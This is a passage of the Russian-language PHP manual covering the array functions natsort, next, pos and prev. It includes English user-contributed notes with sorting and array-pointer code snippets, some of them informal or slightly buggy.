                            $i=0;
                            while($row= $responders->fetch_assoc()) {
                                $user=getUserName($row['responderID']);
                                $r[$i]= array("sortname"=>strtolower($user),"userName"=>$user, "userID"=>$row['responderID'], "responderID"=>$row['idresponders']);
                                $i++;
                            }
                            sort($r);
                            print_r($r);
                        }

?>

I simply created a lower cased sort field at the front of the result set and then sort by it -- which provides the expected result and leaves the actual needed fields unchanged.

For the curious:  all user information is kept completed in another database (and table) from the content database due to security reasons.  The getUser functions we have written allow us to pull only what is legally allowed without exposing anything else.

This is why a left join or something wasn't used and we have to build a pseudo result array here from both databases.
claude at schlesser dot lu 07-Jan-2009 12:41
Here a function that will natural sort an array by keys with keys that contain special characters.

<?php
function natksort($array)
{
    $original_keys_arr = array();
    $original_values_arr = array();
    $clean_keys_arr = array();

    $i = 0;
    foreach ($array AS $key => $value)
    {
        $original_keys_arr[$i] = $key;
        $original_values_arr[$i] = $value;
        $clean_keys_arr[$i] = strtr($key, "AOUaouEEAEeeeac", "AOUaouEEAEeeeac");
        $i++;
    }

    natcasesort($clean_keys_arr);

    $result_arr = array();

    foreach ($clean_keys_arr AS $key => $value)
    {
        $original_key = $original_keys_arr[$key];
        $original_value = $original_values_arr[$key];
        $result_arr[$original_key] = $original_value;
    }

    return $result_arr;
}
?>

Hope it will be useful to somebody :)
vbAlexDOSMan at Yahoo dot com 12-Sep-2003 01:21
Ulli at Stemmeler dot net:  I remade your function -- it's a little more compact now -- Enjoy...

function ignorecasesort(&$array) {

  /*Make each element it's lowercase self plus itself*/
  /*(e.g. "MyWebSite" would become "mywebsiteMyWebSite"*/
  for ($i = 0; $i < sizeof($array); $array[$i] = strtolower($array[$i]).$array[$i], $i++);

  /*Sort it -- only the lowercase versions will be used*/
  sort($array);

  /*Take each array element, cut it in half, and add the latter half to a new array*/
  /*(e.g. "mywebsiteMyWebSite" would become "MyWebSite")*/
  for ($i = 0; $i < sizeof($array); $i++) {
    $this = $array[$i];
    $array[$i] = substr($this, (strlen($this)/2), strlen($this));
  }
}
dslicer at maine dot rr dot com 02-Jun-2003 06:41
Something that should probably be documented is the fact that both natsort and natcasesort maintain the key-value associations of the array. If you natsort a numerically indexed array, a for loop will not produce the sorted order; a foreach loop, however, will produce the sorted order, but the indices won't be in numeric order. If you want natsort and natcasesort to break the key-value associations, just use array_values on the sorted array, like so:

natcasesort($arr);
$arr = array_values($arr);
tmiller25 at hotmail dot com 25-Apr-2002 07:55
add this loop to the function above if you want items which have the same first characters to be listed in a way that the shorter string comes first.
--------------------
  /* short before longer (e.g. 'abc' should come before 'abcd') */
  for($i=count($array)-1;$i>0;$i--) {
    $str_a = $array[$i  ];
    $str_b = $array[$i-1];
    $cmp_a = strtolower(substr($str_a,0,strlen($str_a)));
    $cmp_b = strtolower(substr($str_b,0,strlen($str_a)));
    if ($cmp_a==$cmp_b && strlen($str_a)<strlen($str_b)) {
      $array[$i]=$str_b; $array[$i-1]=$str_a; $i+=2;
    }
  }
--------------------


Сортирует массив, для чего использует алгоритм «естественной сортировки»

  • « natcasesort
  • next »
  • PHP Manual
  • Функции для работы с массивами
  • Сортирует массив, для чего использует алгоритм «естественной сортировки»

natsort

(PHP 4, PHP 5, PHP 7, PHP 8)

natsort — Сортирует массив, для чего использует алгоритм «естественной сортировки»

Описание

natsort(array &$array): true

Эта функция использует алгоритм сортировки, который упорядочивает буквенно-цифровые строки так, как это сделал бы человек. При этом функция сохраняет связи между ключами и значениями. Такой алгоритм называется natural ordering. Пример ниже показывает различия между этим алгоритмом и обычными компьютерными алгоритмами сортировки строк, которые использует функция sort().

Замечание:

Функция сохраняет первоначальный порядок элементов, если при сравнении значения двух элементов равны. До PHP 8.0.0 порядок элементов в отсортированном массиве оставался неопределённым.

Замечание:

Функция сбрасывает внутренний указатель массива на первый элемент.

Список параметров

array

Входной массив.

Возвращаемые значения

Функция всегда возвращает true.

Список изменений

Версия | Описание
8.2.0 | Тип возвращаемого значения теперь true; ранее было bool.

Примеры

Пример #1 Простой пример использования natsort()

<?php

$array1 = $array2 = array("img12.png", "img10.png", "img2.png", "img1.png");

asort($array1);
echo "Обычная сортировка\n";
print_r($array1);

natsort($array2);
echo "\nСортировка natural order\n";
print_r($array2);

?>

Результат выполнения приведённого примера:

Обычная сортировка
Array
(
    [3] => img1.png
    [1] => img10.png
    [0] => img12.png
    [2] => img2.png
)

Сортировка natural order
Array
(
    [3] => img1.png
    [2] => img2.png
    [1] => img10.png
    [0] => img12.png
)

Подробнее об алгоритме рассказывает страница Martin Pool » Natural Order String Comparison.

Пример #2 Примеры показывают ошибки, которые возникают при использовании функции natsort()

<?php

echo "Отрицательные числа\n";
$negative = array('-5','3','-2','0','-1000','9','1');
print_r($negative);
natsort($negative);
print_r($negative);

echo "Отбивка нулями\n";
$zeros = array('09', '8', '10', '009', '011', '0');
print_r($zeros);
natsort($zeros);
print_r($zeros);

?>

Результат выполнения приведённого примера:

Отрицательные числа
Array
(
    [0] => -5
    [1] => 3
    [2] => -2
    [3] => 0
    [4] => -1000
    [5] => 9
    [6] => 1
)
Array
(
    [2] => -2
    [0] => -5
    [4] => -1000
    [3] => 0
    [6] => 1
    [1] => 3
    [5] => 9
)

Отбивка нулями
Array
(
    [0] => 09
    [1] => 8
    [2] => 10
    [3] => 009
    [4] => 011
    [5] => 0
)
Array
(
    [5] => 0
    [1] => 8
    [3] => 009
    [0] => 09
    [2] => 10
    [4] => 011
)

Смотрите также

  • natcasesort() - Сортирует массив алгоритмом естественной сортировки (natural order) без учёта регистра символов
  • Сравнение функций сортировки массивов
  • strnatcmp() - Сравнение строк с использованием алгоритма "natural order"
  • strnatcasecmp() - Сравнение строк без учёта регистра с использованием алгоритма "natural order"

User Contributed Notes

Malek Mohamed 24-Jun-2018 06:21
$array1 = $array2 = array('IMG0.png', 'img12.png', 'img10.png', 'img2.png', 'img1.png', 'IMG3.png');

natsort($array1);
echo "\n natsort(); \n";
print_r($array1);

sort($array2, SORT_NATURAL);
echo "\n sort() with  SORT_NATURAL Option\n";
print_r($array2);

Ouput:

natsort();
Array
(
    [0] => IMG0.png
    [5] => IMG3.png
    [4] => img1.png
    [3] => img2.png
    [2] => img10.png
    [1] => img12.png
)

sort() with  SORT_NATURAL Option
Array
(
    [0] => IMG0.png
    [1] => IMG3.png
    [2] => img1.png
    [3] => img2.png
    [4] => img10.png
    [5] => img12.png
)

as we can see it's  the same values but not the same keys, and also it's same for sort($array1, SORT_NATURAL | SORT_FLAG_CASE); and natcasesort($array2)
dotancohen splat gmail spot com 30-May-2017 06:59
As noted in other notes, natsort() does _not_ always return the expected sort order. It seems especially buggy when decimals or 0 padding is used. I've filed this bug report on the issue:
https://bugs.php.net/bug.php?id=74672
bb7b5b9 at gmail dot com 14-Jan-2016 08:07
This made me waste a lot of my precious youth ... natsort() is buggy if all numbers don't have the same number of decimal places.

(php 5.6.4-4ubuntu6.2)

<?php
$different_decimal_places_in_values = array('D'=>'13.59', '14.6' => '14.6', 'C-' => '14.19');
natsort($a);
var_dump($a);

/*echoes
array(3) {
  'D' =>
  string(5) "13.59"
  '14.6' =>
  string(4) "14.6" <----------- badly ordered
  'C-' =>
  string(5) "14.19"
}*/
?>

While this

<?php
$same_num_decimal_places_in_values = array('D'=>'13.59', '14.6' => '14.60', 'C-' => '14.19'); natsort($a); var_dump($a);

/*echoes
array(3) {
  'D' =>
  string(5) "13.59"
  'C-' =>
  string(5) "14.19"
  '14.6' =>
  string(5) "14.60" <--------- that is the correct position
}
*/

?>
mvs dot php at gmail dot com 20-May-2015 10:12
To naturally sort by array key, the uksort function can be used.

<?php

echo "Sort by keys\n";
$smoothie = array('orange' => 1, 'apple' => 1, 'yogurt' => 4, 'banana' => 4);
print_r($smoothie);
uksort( $smoothie, 'strnatcmp');
print_r($smoothie)

?>

Output:

Sort by keys
Array
(
    [orange] => 1
    [apple]  => 1
    [yogurt] => 4
    [banana] => 4
)
Array
(
    [apple]  => 1
    [banana] => 4
    [orange] => 1
    [yogurt] => 4
)

See http://php.net/manual/en/function.uksort.php for more information about uksort and http://php.net/strnatcmp for usage of strnatcmp.
Johan GENNESSON (php at genjo dot fr) 24-Nov-2010 07:18
Be careful of the new behaviour in 5.2.10 version.
See the following sample:

<?php

$array = array('1 bis', '10 ter', '0 PHP', '0', '01', '01 Ver', '0 ', '1 ', '1');

natsort($array);
echo '<pre>';
print_r($array);
echo '</pre>';
?>

5.2.6-1 will output:
Array
(
    [3] => 0
    [6] => 0
    [2] => 0 OP
    [4] => 01
    [5] => 01 Ver
    [8] => 1
    [7] => 1
    [0] => 1 bis
    [1] => 10 ter
)

5.2.10 will output:
Array
(
    [6] => 0
    [3] => 0
    [8] => 1
    [4] => 01
    [7] => 1
    [5] => 01 Ver
    [0] => 1 bis
    [1] => 10 ter
    [2] => 0 OP
)

Greetings
ale152 16-Mar-2009 02:00
Note: negatives number.
<?php
$a = array(-5,-2,3,9);
natsort($a);
print_r($a);
?>
Will output:
Array ( [1] => -2 [0] => -5 [2] => 3 [3] => 9 )
AJenbo 15-Jan-2009 01:33
natsort might not act like you would expect with zero padding, heres a quick sample.

<?php
$array = array('09', '8', '10', '009', '011');
natsort($array);
?>
/*
Array
(
    [3] => 009
    [4] => 011
    [0] => 09
    [1] => 8
    [2] => 10
)
*/
wyvern at greywyvern dot com 17-Dec-2008 10:53
There's no need to include your own API code to natsort an associative array by key.  PHP's in-built functions (other than natsort) can do the job just fine:

<?php
  uksort($myArray, "strnatcmp");
?>
lacent at gmail dot com 16-Jan-2007 09:42
there is another rnatsort function lower on the page, but it didn't work in the context i needed it in.

reasoning for this:
sorting naturally via the keys of an array, but needing to reverse the order.

    function rnatsort ( &$array = array() )
    {
        $keys    = array_keys($array);
        natsort($keys);
        $total    = count($keys) - 1;
        $temp1    = array();
        $temp2     = array();

        // assigning original keys to an array with a backwards set of keys, to use in krsort();
        foreach ( $keys as $key )
        {
            $temp1[$total] = $key;
            --$total;
        }

        ksort($temp1);

        // setting the new array, with the order from the krsort() and the values of original array.
        foreach ( $temp1 as $key )
        {
            $temp2[$key] = $array[$key];
        }

        $array = $temp2;
    }
@gmail bereikme 01-Sep-2006 08:06
Here's a handy function to sort an array on 1 or more columns using natural sort:
<?php
// Example: $records = columnSort($records, array('name', 'asc', 'addres', 'desc', 'city', 'asc'));

$globalMultisortVar = array();
function columnSort($recs, $cols) {
    global $globalMultisortVar;
    $globalMultisortVar = $cols;
    usort($recs, 'multiStrnatcmp');
    return($recs);
}

function multiStrnatcmp($a, $b) {
    global $globalMultisortVar;
    $cols = $globalMultisortVar;
    $i = 0;
    $result = 0;
    while ($result == 0 && $i < count($cols)) {
        $result = ($cols[$i + 1] == 'desc' ? strnatcmp($b[$cols[$i]], $a[$cols[$i]]) : $result = strnatcmp($a[$cols[$i]], $b[$cols[$i]]));
        $i+=2;
    }
    return $result;
}

?>

Greetings,

  - John
h3 22-Feb-2006 08:59
This function can be very usefull, but in some cases, like if you want to sort a MySQL query result, it's important to keep in mind that MySQL as built'in sorting functions which are way faster than resorting the result using a complex php algorythm, especially with large arrays.

ex; 'SELECT * FROM `table` ORDER BY columnName ASC, columnName2 DESC'
lil at thedreamersmaze dot spam-me-not dot org 31-Jan-2006 08:38
There's one little thing missing in this useful bit of code posted by mbirth at webwriters dot de:

<?php

function natsort2d(&$aryInput) {
  $aryTemp = $aryOut = array();
  foreach ($aryInput as $key=>$value) {
   reset($value);
   $aryTemp[$key]=current($value);
  }
  natsort($aryTemp);
  foreach ($aryTemp as $key=>$value) {
   $aryOut[$key] = $aryInput[$key];
// --------^^^^ add this if you want your keys preserved!
  }
  $aryInput = $aryOut;
}

?>
natcasesort.too 05-Aug-2005 03:17
I got caught out through naive use of this feature - attempting to sort a list of image filenames from a digital camera, where the filenames are leading zero padded (e.g. DSCF0120.jpg) , will not sort correctly.
Maybe the example could be modified to exhibit this behaviour
(e.g. set array to -img0120.jpg','IMG0.png', 'img0012.png', 'img10.png', 'img2.png', 'img1.png', 'IMG3.png)
If the example hadn't used images I would have coded it correctly first time around!
phpnet at moritz-abraham dot de 02-Sep-2004 02:09
additional to the code posted by justin at redwiredesign dot com (which I found very usefull) here is a function that sorts complex arrays like this:
<?
$array['test0'] = array('main' =>  'a', 'sub' => 'a');
$array['test2'] = array('main' =>  'a', 'sub' => 'b');
$array['test3'] = array('main' =>  'b', 'sub' => 'c');
$array['test1'] = array('main' =>  'a', 'sub' => 'c');
$array['test4'] = array('main' =>  'b', 'sub' => 'a');
$array['test5'] = array('main' =>  'b', 'sub' => 'b');
?>
or
<?
$array[0] = array('main' =>  1, 'sub' => 1);
$array[2] = array('main' =>  1, 'sub' => 2);
$array[3] = array('main' =>  2, 'sub' => 3);
$array[1] = array('main' =>  1, 'sub' => 3);
$array[4] = array('main' =>  2, 'sub' => 1);
$array[5] = array('main' =>  2, 'sub' => 2);
?>
on one or more columns.

the code
<? $array = array_natsort_list($array,'main','sub'); ?>
will result in $array being sortet like this:
test0,test2,test1,test4,test5,test3
or
0,2,1,4,5,3.

you may even submit more values to the function as it uses a variable parameter list. the function starts sorting on the last and the goes on until the first sorting column is reached.

to me it was very usefull for sorting a menu having submenus and even sub-submenus.

i hope it might help you too.

here is the function:
<?
function array_natsort_list($array) {
    // for all arguments without the first starting at end of list
    for ($i=func_num_args();$i>1;$i--) {
        // get column to sort by
        $sort_by = func_get_arg($i-1);
        // clear arrays
        $new_array = array();
        $temporary_array = array();
        // walk through original array
        foreach($array as $original_key => $original_value) {
            // and save only values
            $temporary_array[] = $original_value[$sort_by];
        }
        // sort array on values
        natsort($temporary_array);
        // delete double values
        $temporary_array = array_unique($temporary_array);
        // walk through temporary array
        foreach($temporary_array as $temporary_value) {
            // walk through original array
            foreach($array as $original_key => $original_value) {
                // and search for entries having the right value
                if($temporary_value == $original_value[$sort_by]) {
                    // save in new array
                    $new_array[$original_key] = $original_value;
                }
            }
        }
        // update original array
        $array = $new_array;
    }
    return $array;
}
?>
xlab AT adaptiveNOSPAMarts DOT net 15-Jan-2004 12:51
Under limited testing, natsort() appears to work well for IP addresses. For my needs, it is far less code than the ip2long()/long2ip() conversion I was using before.
mbirth at webwriters dot de 09-Jan-2004 12:31
For those who want to natsort a 2d-array on the first element of each sub-array, the following few lines should do the job.

<?php

function natsort2d(&$aryInput) {
  $aryTemp = $aryOut = array();
  foreach ($aryInput as $key=>$value) {
    reset($value);
    $aryTemp[$key]=current($value);
  }
  natsort($aryTemp);
  foreach ($aryTemp as $key=>$value) {
    $aryOut[] = $aryInput[$key];
  }
  $aryInput = $aryOut;
}

?>
rasmus at flajm dot com 14-Dec-2003 09:30
To make a reverse function, you can simply:

function rnatsort(&$a){
    natsort($a);
    $a = array_reverse($a, true);
}
flash at minet dot net 12-Aug-2003 10:27
About the reverse natsort.. Maybe simpler to do :

function strrnatcmp ($a, $b) {
    return strnatcmp ($b, $a);
}
anonymous at coward dot net 31-May-2003 01:46
Reverse Natsort:

  function rnatsort($a, $b) {
    return -1 * strnatcmp($a, $b);
  }

  usort($arr, "rnatsort");


Сдвигает внутренний указатель массива на одну позицию вперёд

  • « natsort
  • pos »
  • PHP Manual
  • Функции для работы с массивами
  • Сдвигает внутренний указатель массива на одну позицию вперёд

next

(PHP 4, PHP 5, PHP 7, PHP 8)

next — Сдвигает внутренний указатель массива на одну позицию вперёд

Описание

next(array|object &$array): mixed

Функция next() ведёт себя так же, как функция current(), с одним отличием. Она сдвигает внутренний указатель массива на одну позицию вперёд, прежде чем вернуть значение элемента. То есть она возвращает следующее значение массива и продвигает внутренний указатель массива на одну позицию.

Список параметров

array

Массив (array), на который повлияет функция.

Возвращаемые значения

Возвращает значение следующего элемента массива, относительно позиции внутреннего указателя, или false, если больше нет элементов.

Внимание

Функция возвращает как логическое значение false, так и нелогическое значение, которое приводится к false. Прочитайте раздел «Логический тип», чтобы получить дополнительную информацию. Используйте оператор === для проверки значения, которое возвращает функция.

Список изменений

Версия | Описание
8.1.0 | Вызов функции на объекте (object) объявлен устаревшим. Объект (object) либо сначала преобразовывают в массив (array) функцией get_mangled_object_vars(), либо пользуются методами класса, в котором реализовали интерфейс Iterator, например, ArrayIterator.
7.4.0 | Экземпляры классов библиотеки SPL теперь обрабатываются как пустые объекты, у которых нет свойств, вместо вызова метода интерфейса Iterator с тем же именем, что и у этой функция.

Примеры

Пример #1 Пример использования функции next() и дружественных функций

<?php

$transport = array('foot', 'bike', 'car', 'plane');
$mode = current($transport); // $mode = 'foot';
$mode = next($transport); // $mode = 'bike';
$mode = next($transport); // $mode = 'car';
$mode = prev($transport); // $mode = 'bike';
$mode = end($transport); // $mode = 'plane';

?>

Примечания

Замечание: Конец массива неотличим от элемента с логическим (bool) значением false. Чтобы правильно обойти массив с элементами false, пользуются управляющей конструкцией foreach. Чтобы продолжать пользоваться функцией next() и правильно проверять, достиг ли указатель конца массива, убеждаются, что функция key() возвращает значение null.

Смотрите также

  • current() - Возвращает текущий элемент массива
  • end() - Устанавливает внутренний указатель массива на последний элемент
  • prev() - Сдвигает внутренний указатель массива на одну позицию назад
  • reset() - Устанавливает внутренний указатель массива на первый элемент
  • each() - Возвращает текущую пару ключа и значения массива и сдвигает указатель на одну позицию вперёд

User Contributed Notes

tecdoc at ukr dot net 13-Nov-2023 10:10
It is good example how to loop array by current() and next() functions from php key() manual. In my opinion, this particular example would be better placed in current() and next() than key() manuals.

<?php
$array = array(
    'fruit1' => 'apple',
    'fruit2' => 'orange',
    'fruit3' => 'grape',
    'fruit4' => 'apple',
    'fruit5' => 'apple');

// this cycle echoes all associative array
// key where value equals "apple"
reset($array); // prepare array for cycle
while ($fruit_name = current($array)) {
    if ($fruit_name == 'apple') {
        echo key($array), "\n";
    }
    next($array);
}
?>
tecdoc at ukr dot net 13-Nov-2023 09:53
Be attentive! It is possibility to lose the array pointer with next() and prev();
<?php
// example
$array = array(
    'fruit1' => 'apple',
    'fruit2' => 'orange',
    'fruit3' => 'grape',
    'fruit4' => 'apple',
    'fruit5' => 'apple');

reset($array); // prepare array

$row = current($array);
var_dump($row); // 'apple'

$row = prev($array);
var_dump($row); // false. The array pointer is lossed!

$row = next($array); // it is not possible to return to the previous (first/last element)!
var_dump($row); // false
?>
Anonymous 28-Apr-2022 09:28
This is the best example of using next in a loop

<?php
$array = array(
    'fruit1' => 'apple',
    'fruit2' => 'orange',
    'fruit3' => 'grape',
    'fruit4' => 'apple',
    'fruit5' => 'apple');

// this cycle echoes all associative array
// key where value equals "apple"
reset($array); // prepare array for cycle
while ($fruit_name = current($array)) {
    if ($fruit_name == 'apple') {
        echo key($array), "\n";
    }
    next($array);
}
reset($array);
?>
Mikhail 05-Sep-2019 02:47
This function returns next element in array after your key or false if it last or key doesn't exists in array.

<?php

function nextElement(array $array, $currentKey)
{
    if (!isset($array[$currentKey])) {
        return false;
    }
    $nextElement = false;
    foreach ($array as $key => $item) {
        $nextElement = next($array);
        if ($key == $currentKey) {
            break;
        }
    }

    return $nextElement;
}
andy at andysdrawings dot co dot uk 05-Oct-2018 01:58
brentimus' array_set_pointer function will only work if the array value is unique in the array, and none of the array values are FALSE. It would be more reliable to use key() instead of current(). For similar reasons it's better to check key() after calling next() to determine whether the next() element "exists". Simply checking the value returned by next() will produce a false negative when looking at, for example, the first element of the array: ['one', 0, 'three']

However, it also turns out that the copied array retains the original array's pointer, so array_set_pointer is not actually required here. The following should work:

<?php
function has_next(array &$array) {
    $A_work = $array;  // $A_work is a copy of $array including its internal pointer.
    next($A_work);
    if (key($A_work) === NULL)
        return false;
    else
        return true;
}
?>
notImportant 03-May-2018 01:11
a more readable version of papipo's has_next function:

<?php
function has_next($array) {
    $has_next = is_array($array) && next($array) !== false;

    return $has_next;
}
?>

OR

<?php
function has_next($array) {
    $has_next = false;
    if(is_array($array)) {
        $has_next = next($array) !== false;
    }

    return $has_next;
}
?>
nigra 02-Jan-2018 08:01
This function will return the previous,next neighbors of an array entry within an associative array. If the specified $key points to the last or first element of the array, the first or last keys of the array will be returned consecutively. This is an improved version of the same function posted earlier.

<?php
function array_neighbor($count, $key = null, $arRelated = array(), $cntRelated = 2)
{
    if($count > 0 && isset($key))
    {
        $keyL = $count - 1;
        $keyR = 1;
        $arResult = array();
        for($i = 1; $i <= $cntRelated; $i++)
        {
            if($key == 0)
            {
                if(($i % 2) == 0)
                {
                    $curKey = $count - $keyL;
                    $keyL--;
                }
                else
                {
                    $curKey = $count - $keyR;
                    $keyR++;
                }
            }
            else
            {
                if($arRelated[$i] >= $count - 1)
                {
                    $curKey = 0;
                }
                else
                {
                    $curKey = $arRelated[$i] + 1;
                }
            }
            $arResult[$i] = $curKey;
        }
        return $arResult;
    }
}

$arr = range(0, 4);
$count = count($arr);

foreach($arr as $key => $v)
{
    if($arRelated = array_neighbor($count, $key, $arRelated))
    {
        $arHeighbor[$key]['RELATED'] = $arRelated;
    }
}

echo '<pre>';print_r($arHeighbor); echo '</pre>';
?>
Array
(
    [0] => Array
        (
            [RELATED] => Array
                (
                    [1] => 4
                    [2] => 1
                )

        )

    [1] => Array
        (
            [RELATED] => Array
                (
                    [1] => 0
                    [2] => 2
                )

        )

    [2] => Array
        (
            [RELATED] => Array
                (
                    [1] => 1
                    [2] => 3
                )

        )

    [3] => Array
        (
            [RELATED] => Array
                (
                    [1] => 2
                    [2] => 4
                )

        )

    [4] => Array
        (
            [RELATED] => Array
                (
                    [1] => 3
                    [2] => 0
                )

        )

)
JumpIfBelow 24-Aug-2017 11:57
Now from PHP 7.2, the function "each" is deprecated, so the has_next I've posted is no longer a good idea. There is another to keep it simple and fast:

<?php
function has_next(array $_array)
{
  return next($_array) !== false ?: key($_array) !== null;
}
?>
JumpIfBelow 30-Jul-2015 12:45
After dealing with the fact that next() will either returns FALSE when there is no further element in the array or if the element itself is FALSE, I finally find a way to do a has_next() method, which will never fails. You can ignore and/or downvote my last comment, this it will be deleted.
Here is the code that work :
<?php
    function has_next(array $a){
        return next($a) !== false ?: each($a) !== false;
    }
?>
double at dumpit dot de 08-Dec-2009 01:19
PHP: 5.2.10-2ubuntu6.3 (default apt-get installation on actual, see Date, jaunty 9.10 Ubuntu Distro - G33kWoRDs)

Have a look at your array pointer if you copy an array - the pointer will be copied, too.

For example if you got this construct:
<?php
    $array = array('zero','one','two','three','four','five','six','seven');
    $array2 = $array;
    next($array);
    echo key($array);
    echo key($array2);

    // will output:
    // 1
    // 0
?>

But if you copy the array after you've setted the pointer, the pointer will be copied, too:
<?php
    $array = array('zero','one','two','three','four','five','six','seven');
    next($array);
    $array2 = $array;
    echo key($array);
    echo key($array2);

    // will output:
    // 1
    // 1
?>

What's more is, that foreach not resetting the pointer after walk through:
<?php

    $array = array('zero','one','two','three','four','five','six','seven');
    next($array);
    $array2 = array();
    foreach($array AS $key => $value){
        echo $key;
        $array2[$key] = $value;
    }
    echo var_dump(key($array));
    echo key($array2);

    // will output for foreach:
    // 0 1 2 3 4 5 6 7
    // and for the keys
    // NULL
    // 0
?>

The php-functions seems to reset the pointer on the given position after walk through (i don't know the internal handling - there could be used a copy of the array, too):
<?php

    $array = array('zero','one','two','three','four','five','six','seven');
    next($array);
    $array2 = array_values($array);
    echo key($array);
    echo key($array2);

    // will output:
    // 1
    // 0
?>

There are a lot Methods like array_merge($array) that will neither reset the pointer of $array nor copy the pointer to $array2. Have a look on this.
I Hope this was a little helpfull.
ThinkMedical at Gmail dot com 02-Sep-2008 03:27
regarding references with foreach, you can use them directly. Obviating various posts which provide many lines of 'work arounds'.

$array = array(1,2,3,4,5);

foreach($array as &$value)

or use $key

foreach($array as $key => $value)
{
    $array[$key] = '...';
}
darkside at i dot ua 11-Dec-2007 03:36
This class implements simple operations with array

<?php
class Steps {

    private $all;
    private $count;
    private $curr;

    public function __construct () {

      $this->count = 0;

    }

    public function add ($step) {

      $this->count++;
      $this->all[$this->count] = $step;

    }

    public function setCurrent ($step) {

      reset($this->all);
      for ($i=1; $i<=$this->count; $i++) {
        if ($this->all[$i]==$step) break;
        next($this->all);
      }
      $this->curr = current($this->all);

    }

    public function getCurrent () {

      return $this->curr;

    }

    public function getNext () {

      self::setCurrent($this->curr);
      return next($this->all);

    }

  }
?>

usage example:

<?php
   $steps = new Steps();
   $steps->add('one');
   $steps->add('two');
   $steps->add('three');
   $steps->setCurrent('one');
   echo $steps->getCurrent()."<br />";
   echo $steps->getNext()."<br />";
   $steps->setCurrent('two');
   echo $steps->getCurrent()."<br />";
   echo $steps->getNext()."<br />";
?>
gg2005 at gmail dot com 06-Feb-2007 01:32
Don't confuse next with continue!

If you're a Perl developer starting with PHP, you might try to use "next" inside a loop to skip to the next iteration...

i.e.,

foreach ($things as $thing) {
  if (something I don't like about $thing) {
   next;
  }
  blah....
}

The php compiler will take next... but it's not going to work.

Do this instead:
foreach ($things as $thing) {
  if (something I don't like about $thing) {
   continue;
  }
  blah....
}
tino at infeon dot com 13-May-2006 08:48
this may be handy and i didnt know where else to post it.. i need a simple function to cycle through an array i eventually made it into a class so i could have multiple cycles.. if you like it or find it usefull please email me and let me know

class Cycle
{
    var $position;
    var $dataArray;
    var $dataArrayCount;

    function Cycle()
    {
        $this->dataArray = func_get_args();
        $this->dataArrayCount = count($this->dataArray);
    }

    function Display()
    {
        $this->position = (!isset($this->position) || $this->position >= ($this->dataArrayCount - 1)) ? 0 : $this->position += 1;
        return $this->dataArray[$this->position];
    }

}

$bgColor = new Cycle('#000000', '#FFFFFF', '#FF0000');

echo $bgcolor->Display();
//returns #000000
echo $bgcolor->Display();
//returns #FFFFFF
echo $bgcolor->Display();
//returns #FF0000
echo $bgcolor->Display();
//returns #000000
brentimus 28-Apr-2005 10:10
Papipo's function below is usefull in concept but does not work.

"Since you do not pass the array by reference, its pointer is only moved inside the function."

This is true, but the array you are manipulating in your has_next() function will have it's pointer set to the first element, not the same position as the original array. What you want to do is pass the array to the has_next() function via reference. While in the has_next() function, make a copy of the array to work on. Find out the current pointer position of the original array and set the pointer on the working copy of the array to the same element. Then you may test to see if the array has a "next" element.

Try the followig insetad:

<?php
function has_next(&$array)
{
    $A_work=$array;  //$A_work is a copy of $array but with its internal pointer set to the first element.
    $PTR=current($array);
    array_set_pointer($A_work, $PTR);

    if(is_array($A_work))
    {
        if(next($A_work)===false)
            return false;
        else
            return true;
    }
    else
        return false;
}

function array_set_pointer(&$array, $value)
{
    reset($array);
    while($val=current($array))
    {
        if($val==$value)
            break;

        next($array);
    }
}
?>
papipo's gmail account 13-Oct-2004 01:47
I need to know if an array has more items, but without moving array's internail pointer. Thats is, a has_next() function:

<?php
function has_next($array) {
    if (is_array($array)) {
        if (next($array) === false) {
            return false;
        } else {
            return true;
        }
    } else {
        return false;
    }
}

$array = array('fruit', 'melon');
if (has_next($array)) {
    echo next($array);
}

// prints 'melon'
?>

Since you do not pass the array by reference, its pointer is only moved inside the function.
Hope that helps.
lukasz at karapuda dot com 18-Aug-2004 10:06
This function will return the previous,next neighbors of an array entry within an associative array. If the specified $key points to the last or first element of the array, the first or last keys of the array will be returned consecutively. This is an improved version of the same function posted earlier.

<?php
function array_neighbor($arr, $key)
{
   $keys = array_keys($arr);
   $keyIndexes = array_flip($keys);

   $return = array();
   if (isset($keys[$keyIndexes[$key]-1])) {
       $return[] = $keys[$keyIndexes[$key]-1];
   }
   else {
       $return[] = $keys[sizeof($keys)-1];
   }

   if (isset($keys[$keyIndexes[$key]+1])) {
       $return[] = $keys[$keyIndexes[$key]+1];
   }
   else {
       $return[] = $keys[0];
   }

   return $return;
}
?>
court shrock 20-May-2004 04:36
This code returns neighbors of the specified key.  The result will be empty if it doesn't have any neighbors.  My approach was to use the order of keys to determine neighbors, which is differnet from just getting the next/previous element in an array.  Feel free to point out stupidities :)

<?php

function array_neighbor($arr, $key)
{
    krsort($arr);
    $keys = array_keys($arr);
    $keyIndexes = array_flip($keys);

    $return = array();
    if (isset($keys[$keyIndexes[$key]-1]))
        $return[] = $keys[$keyIndexes[$key]-1];
    if (isset($keys[$keyIndexes[$key]+1]))
        $return[] = $keys[$keyIndexes[$key]+1];

    return $return;
}

?>
bm at ANTISPAM dot solidwave dot com 16-Apr-2004 09:49
Take care when replacing code using reset()/next() with code using foreach as foreach does not update the array's internal pointer.  This means you cannot, say, use next() to skip an element in foreach loop, or use current() within a function to get a reference to the current element.  You probably have code depending on this internal pointer and replacing it will be more work than you anticipated.

See http://www.php.net/foreach


Псевдоним current

  • « next
  • prev »
  • PHP Manual
  • Функции для работы с массивами
  • Псевдоним current

pos

(PHP 4, PHP 5, PHP 7, PHP 8)

pos — Псевдоним current()

Описание

Псевдоним функции current()

User Contributed Notes

There are no user contributed notes for this page.


Сдвигает внутренний указатель массива на одну позицию назад

  • « pos
  • range »
  • PHP Manual
  • Функции для работы с массивами
  • Сдвигает внутренний указатель массива на одну позицию назад

prev

(PHP 4, PHP 5, PHP 7, PHP 8)

prev — Сдвигает внутренний указатель массива на одну позицию назад

Описание

prev(array|object &$array): mixed

Сдвигает внутренний указатель массива на одну позицию назад.

Функция prev() ведёт себя так же, как функция next(), за исключением того, что она отматывает внутренний указатель массива на одну позицию, а не продвигает его.

Список параметров

array

Входной массив.

Возвращаемые значения

Возвращает значение предыдущего элемента массива, относительно позиции внутреннего указателя, или false, если больше нет элементов.

Внимание

Функция возвращает как логическое значение false, так и нелогическое значение, которое приводится к false. Прочитайте раздел «Логический тип», чтобы получить дополнительную информацию. Используйте оператор === для проверки значения, которое возвращает функция.

Список изменений

Версия | Описание
8.1.0 | Вызов функции на объекте (object) объявлен устаревшим. Объект (object) либо сначала преобразовывают в массив (array) функцией get_mangled_object_vars(), либо пользуются методами класса, в котором реализовали интерфейс Iterator, например, ArrayIterator.
